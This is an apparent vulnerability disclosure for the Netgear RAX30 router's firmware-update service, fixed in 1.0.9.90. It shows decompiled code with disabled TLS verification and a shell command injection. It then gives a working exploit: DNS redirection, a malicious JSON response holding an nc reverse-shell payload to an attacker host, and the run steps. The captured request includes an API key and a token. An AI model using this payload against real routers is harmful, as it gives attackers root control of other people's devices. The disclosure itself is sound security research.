The following writeup describes an attack that results in code execution via the WAN interface of the Netgear RAX30 in firmware versions up to and including 1.0.7.78 and was fixed in 1.0.9.90.
This does not work against a device booted the very first time after a factory default. A device must have performed the initial setup by the end-user, such as setting admin, wireless passwords and SSID. Following this during subsequent reboots, the router will try to check some APIs and for any firmware updates. If the router is redirected to a web server that is under attacker's control (via a DNS or TCP redirection), the device will parse the malicious HTTP response that contains a command injection and will lead to execution of the injected command. The firmware update checking is running as root and attacker gains full privileges on the router.
The update service is found at /bin/pufwUpgrade
which uses two libraries, /usr/lib/libfwcheck.so
(sha256: 085ac99ab45e73536e9570ef5e253bb4882b2914ce34e8764de258de3b04dba5
) and /lib/libpu_util.so
(sha256: 9f4667fbe980e57e826c7bdac7b46530aff875b427784230c42ac24e71ae3749
).
Missing web server certificate verifications is located in /usr/lib/libfwcheck.so
in the function curl_post
.
The code that is vulnerable to command injection is found in the library /lib/libpu_util.so
and the function DownloadFiles
.
It is possible to serve a web server and provide malicious responses to the device due to the following code in curl_post
:
.
.
.
((void (*)(int, const char *, ...))fw_debug)(1, " URL is %s\n", url);
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, header);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, data);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0);
curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1);
v12 = strlen(data);
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, v12);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, callback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &s);
if ( curl_easy_perform(curl) )
.
.
.
The curl options CURLOPT_SSL_VERIFYHOST
and CURLOPT_SSL_VERIFYPEER
are disabled which means any self-signed certificate will be accepted by the curl client.
The DownloadFiles
function starts by preparing a string to make a HTTP request with curl:
.
.
.
iVar1 = strncasecmp(param_1,"https://",8);
iVar2 = access("/tmp/curl_no_verify",0);
if (iVar1 == 0 && iVar2 == -1) {
snprintf(acStack532,500,
"(curl --fail --cacert %s %s --max-time %d --speed-time 15 --speed-limit 1000 -o %s 2> %s; echo $? > %s)"
,"/opt/xagent/certs/ca-bundle-mega.crt",param_1,param_4,param_2,
"/tmp/curl_result_err.txt","/tmp/curl_result.txt");
}
else {
snprintf(acStack532,500,
"(curl --fail --insecure %s --max-time %d --speed-time 15 --speed-limit 1000 -o %s 2> % s; echo $? > %s)"
,param_1,param_4,param_2,"/tmp/curl_result_err.txt","/tmp/curl_result.txt");
}
DBG_PRINT("%s:%d, cmd=%s\n","DownloadFiles",0x148,acStack532);
iVar1 = pegaPopen(acStack532,"r");
.
.
.
In this code snippet, checks are done to determine if the url from pufwUpgrade
contains https and if there is no file /tmp/curl_no_verify
on the system. In any case, a string is created next that will perform the actual request using curl. Just after this, pegaOpen
is called which in turn will perform an execve
call at the end of the function with this curl string as input, as shown below:
.
.
.
local_10 = param_1;
execve("/bin/sh",&pcStack24,environ);
/* WARNING: Subroutine does not return */
_exit(0x7f);
}
execve
is not vulnerable to command injections per-se, but by executing the curl command as input to /bin/sh
with execve
function makes it vulnerable to injection.
In order to verify this exploit, a setup is required where the attacker will act as the DHCP and DNS server and responds to the request made from the WAN port. First of all, the router is assigned an IP during boot, then DNS lookups for devcom.up.netgear.com
will be responded with the IP of a web server under attacker's control.
The device will shortly after boot make some POST requests to https://devcom.up.netgear.com, however only one request is important for the attack and needs to be responded to:
GET /UpBackend/checkFirmware/ HTTP/1.1
Host: devcom.up.netgear.com
Accept: */*
Content-Type:application/json
X-DreamFactoryAPIKey: duhSjhrUjvM6BIRdzJz7F3CZ5B66zjAodjbfIzZu1FSbxFeB7KxRIwYAXrf3e2WL
Content-Length: 245
{"token":"ea33b0c26f924a15afd45c0720cd7b5e44da1dd3f5a975d01dd33f76c7f94375","ePOCHTimeStamp":"1652236774",
"modelNumber":"RAX30","serialNumber":"6LG119WK00F20","regionCode":"2","reasonToCall":"1","betaAcceptance":
0,"currentFWVersion":"V1.0.7.78"}
A response is then made from the fake web server with JSON data containing the command injection:
{"status":1,"errorCode":null,"message":null,"url":"; mknod /tmp/backpipe p; nc <attacker_ip> 8888 0</tmp/backpipe | /bin/bash 1>/tmp/backpipe)#"}
The value from the URL key will be parsed and the device will make a number of GET requests to this URL using curl via DownloadFiles
. The ending )#
in the URL value is needed as DownloadFiles
will construct the command string surrounded by parenthesis, and bracket is used to ignore the rest of the command after (curl --fail --cacert %s %s
. The resulting string that will be executed via /bin/sh
is:
(curl --fail --cacert /opt/xagent/certs/ca-bundle-mega.crt; mknod /tmp/backpipe p; nc <attacker_ip> 8888 0</tmp/backpipe | /bin/bash 1>/tmp/backpipe)
The curl command will fail but the pipe will be created and nc
will be invoked to spawn a reverse shell at an attacker-controlled machine.
This exploit has been tested on Ubuntu 22.04 and requires dnsmasq and python3 to be installed.
sudo apt install dnsmasq python3
- Run it and set interface that will communicate with WAN port
sudo ./run.sh <interface>
- start a reverse shell listener in a separate shell:
nc -nlvp 8888
- Boot the router and wait for reverse shell, it can take up to 3-4 minutes
If port 53 is already taken, then systemd-resolved may be running. Stop it using: sudo systemctl stop systemd-resolved
.